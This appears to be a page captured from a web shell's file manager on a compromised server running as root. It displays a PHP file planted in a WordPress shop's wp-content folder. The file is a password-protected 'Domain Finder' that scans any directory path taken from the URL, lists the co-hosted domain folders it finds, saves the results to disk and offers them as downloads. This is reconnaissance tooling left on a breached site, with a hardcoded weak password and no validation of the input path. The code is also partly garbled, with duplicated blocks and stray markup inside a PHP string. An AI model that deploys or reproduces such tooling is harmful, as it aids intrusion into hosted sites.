HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux vmi1674223.contaboserver.net 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC 2024 x86_64
User: root (0)
PHP: 7.4.3-4ubuntu2.22
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/onlineshop/wp-content/xx.php
<?php
// === SIMPLE PASSWORD PROTECTION ===
$pass = "admin123"; // ubah password di sini
if (!isset($_GET['auth']) || $_GET['auth'] !== $pass) {
    die("<form method='GET' style='margin:50px auto;max-width:300px;'>
        <h3>Login</h3>
        <input name='auth' class='form-control mb-2' placeholder='Masukkan Password'>
        <button class='btn btn-primary w-100'>Masuk</button>
    </form>");
}

/**
 * DomainFinder PHP
 * Scan semua folder di dalam public_html atau direktori lain
 * untuk mendeteksi domain/subdomain berdasarkan struktur folder.
 *
 * Simpan file ini sebagai: domainfinder.php
 */

// === KONFIGURASI ===
$basePath = isset($_GET['path']) ? $_GET['path'] : __DIR__; // Ubah jika ingin scan path lain, contoh: '/home/user/'

// Fungsi untuk mendeteksi domain dari nama folder menggunakan pola umum
function isDomain($name) {
    return preg_match('/^[A-Za-z0-9-]+(\\.[A-Za-z0-9-]+)+$/', $name);
}

function scanDomains($path) {
    $results = [];

    if (!is_dir($path)) {
        return $results;
    }

    $dirs = scandir($path);

    foreach ($dirs as $item) {
        if ($item === '.' || $item === '..') continue;

        $fullPath = $path . DIRECTORY_SEPARATOR . $item;

        // Jika nama folder seperti domain
        if (is_dir($fullPath) && isDomain($item)) {
            $results[] = [
                'domain' => $item,
                'path' => $fullPath
            ];
        }

        // Rekursif ke subfolder
        if (is_dir($fullPath)) {
            $subResults = scanDomains($fullPath);
            $results = array_merge($results, $subResults);
        }
    }
    return $results;
}

$found = scanDomains($basePath);

// === OUTPUT ===
// Simpan hasil otomatis ke file TXT
$autoFile = __DIR__ . '/domainfinder_result.txt';
file_put_contents($autoFile, "HASIL SCAN DOMAIN FINDER
==========================

");
if (!empty($found)) {
    foreach ($found as $d) {
        file_put_contents($autoFile, $d['domain'] . " => " . $d['path'] . "
", FILE_APPEND);
    }
} else {
    file_put_contents($autoFile, "Tidak ada domain ditemukan.
", FILE_APPEND);
}

echo "<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css">
<style>
.star-bg {
    background: radial-gradient(circle at center, #222 0%, #000 70%);
    color: #fff;
    padding: 20px;
    border-radius: 20px;
    box-shadow: 0 0 20px rgba(255,255,255,0.3);
    position: relative;
    overflow: hidden;
}
.star-bg::before {
    content: '';
    position: absolute;
    width: 3px;
    height: 3px;
    background: white;
    border-radius: 50%;
    top: 20%; left: 30%; box-shadow:
        50px 80px white,
        120px 200px white,
        200px 40px white,
        300px 150px white,
        400px 90px white,
        500px 200px white;
}
.scan-title {
    font-size: 32px;
    text-align: center;
    font-weight: bold;
    text-shadow: 0 0 10px cyan;
}
/* Animasi Rocket Loading */
.rocket-loading {
    display:none;
    text-align:center;
    margin-bottom:20px;
}
.rocket {
    font-size:40px;
    animation: fly 1s linear infinite;
}
@keyframes fly {
    0% { transform: translateY(0); }
    50% { transform: translateY(-20px); }
    100% { transform: translateY(0); }
}

/* Starfield bergerak */
.starfield {
    position:fixed;
    top:0;
    left:0;
    width:100%;
    height:100%;
    background:transparent;
    z-index:-1;
    pointer-events:none;
}
.starfield span {
    position:absolute;
    width:2px;
    height:2px;
    background:white;
    border-radius:50%;
    animation: twinkle 2s infinite ease-in-out;
}
@keyframes twinkle {
    0% { opacity:0.2; }
    50% { opacity:1; }
    100% { opacity:0.2; }
}
/* Animasi Rocket Loading */
.rocket-loading { display:none; text-align:center; margin-bottom:20px; }
.rocket { font-size:40px; animation: fly 1s linear infinite; }
@keyframes fly { 0%{transform:translateY(0);} 50%{transform:translateY(-20px);} 100%{transform:translateY(0);} }

/* Shooting Star */
.shooting-star { position:fixed; width:3px; height:3px; background:white; top:-10px; left:-10px; opacity:0; box-shadow:0 0 10px white; animation: shoot 3s infinite linear; }
@keyframes shoot { 0%{transform:translate(0,0); opacity:0;} 10%{opacity:1;} 100%{transform:translate(600px,400px); opacity:0;} }

/* Supernova */
.supernova { display:none; width:120px; height:120px; background: radial-gradient(circle, white, yellow, orange, red); border-radius:50%; animation: explode 1s ease-out; margin:20px auto; }
@keyframes explode { 0%{transform:scale(0.2); opacity:0.2;} 100%{transform:scale(2); opacity:0;} }

/* Starfield */
.starfield { position:fixed; top:0; left:0; width:100%; height:100%; z-index:-1; }
.starfield span { position:absolute; width:2px; height:2px; background:white; border-radius:50%; animation: twinkle 2s infinite ease-in-out; }
@keyframes twinkle { 0%{opacity:0.2;} 50%{opacity:1;} 100%{opacity:0.2;} }
</style>

<div class='starfield'><?php for($i=0;$i<150;$i++): ?><span style="top:<?=rand(1,100)?>%; left:<?=rand(1,100)?>%; animation-duration: <?=rand(2,6)?>s;"></span><?php endfor; ?></div>
<div class='shooting-star'></div>
<div class='rocket-loading' id='rocketLoad'> <div class='rocket'>🚀</div><p>Scanning domain...</p></div>
<div class='supernova' id='supernovaFx'></div>

<div class="starfield">
    <span style="top:10%; left:20%"></span>
    <span style="top:40%; left:80%"></span>
    <span style="top:70%; left:50%"></span>
    <span style="top:20%; left:60%"></span>
    <span style="top:85%; left:30%"></span>
</div>

<div class='rocket-loading' id='rocketLoad'>
    <div class='rocket'>🚀</div>
    <p>Scanning domain... </p>
</div>
<div class="container mt-4 star-bg">
<h2 class="scan-title mb-3">★ Star Scan Domain Finder ★</h2>
<h2 class="mb-3">DomainFinder PHP</h2>

<script>
function startScan(){
    document.getElementById('rocketLoad').style.display='block';
}
</script>

<script>
function startScan(){ document.getElementById('rocketLoad').style.display='block'; }
window.onload=function(){ setTimeout(()=>{document.getElementById('supernovaFx').style.display='block';},200); setTimeout(()=>{document.getElementById('supernovaFx').style.display='none';},1300);} 
</script>
<form method="GET" onsubmit="startScan()" class="mb-4 p-3 border rounded bg-light">
    <label class="form-label">Pilih Direktori untuk Scan:</label>
    <input type="text" name="path" class="form-control mb-2" placeholder="/home/user/public_html" value="<?php echo isset($_GET['path']) ? htmlspecialchars($_GET['path']) : $basePath; </div>
?>">
    <button class="btn btn-primary">Scan</button>
</form>";
echo "<p>Scanning path: <strong>$basePath</strong></p>";

echo "<table class='table table-bordered table-striped'>";
echo "<tr><th>Domain</th><th>Lokasi Folder</th></tr>";

if (empty($found)) {
    echo "<tr><td colspan='2'>Tidak ada domain ditemukan.</td></tr>";
} else {
    foreach ($found as $d) {
        echo "<tr><td>{$d['domain']}</td><td>{$d['path']}</td></tr>";
    }
}

echo "</table>";


// === FITUR TAMBAHAN ===
// Export hasil scan ke JSON dan TXT
if (isset($_GET['export']) && !empty($found)) {
    if ($_GET['export'] === 'json') {
        header('Content-Type: application/json');
        header('Content-Disposition: attachment; filename="domainfinder.json"');
        echo json_encode($found, JSON_PRETTY_PRINT);
        exit;
    }
    if ($_GET['export'] === 'txt') {
        header('Content-Type: text/plain');
        header('Content-Disposition: attachment; filename="domainfinder.txt"');
        foreach ($found as $d) {
            echo $d['domain'] . " => " . $d['path'] . "
";
        }
        exit;
    }
}

// Tombol export
if (!empty($found)) {
    echo "<p><a href='?export=json'>Export JSON</a> | <a href='?export=txt'>Export TXT</a></p>";
}
?>